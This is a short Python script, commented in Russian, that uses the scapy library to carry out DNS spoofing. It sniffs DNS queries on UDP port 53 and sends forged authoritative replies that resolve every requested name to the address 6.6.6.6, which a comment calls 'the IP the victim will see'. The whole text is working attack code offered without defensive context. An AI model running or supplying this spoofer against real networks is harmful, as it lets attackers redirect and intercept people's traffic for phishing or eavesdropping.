Загрузка данных


from scapy.all import *

def dns_callback(pkt):
    # Проверяем, что это DNS-запрос
    if pkt.haslayer(DNSqr):
        qname = pkt[DNSqr].qname.decode()
        print(f"[*] Перехватили запрос на: {qname}")
        
        # Формируем фальшивый ответ
        # rdata="6.6.6.6" — это IP, который увидит жертва
        reply = IP(dst=pkt[IP].src, src=pkt[IP].dst)/ \
                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/ \
                DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
                    an=DNSRR(rrname=qname, ttl=10, rdata="6.6.6.6"))
        
        send(reply, verbose=0)
        print(f"[+] Отправили фейковый IP: 6.6.6.6")

print("[!] Слушаю DNS-запросы (UDP 53)...")
sniff(filter="udp port 53", prn=dns_callback, store=0)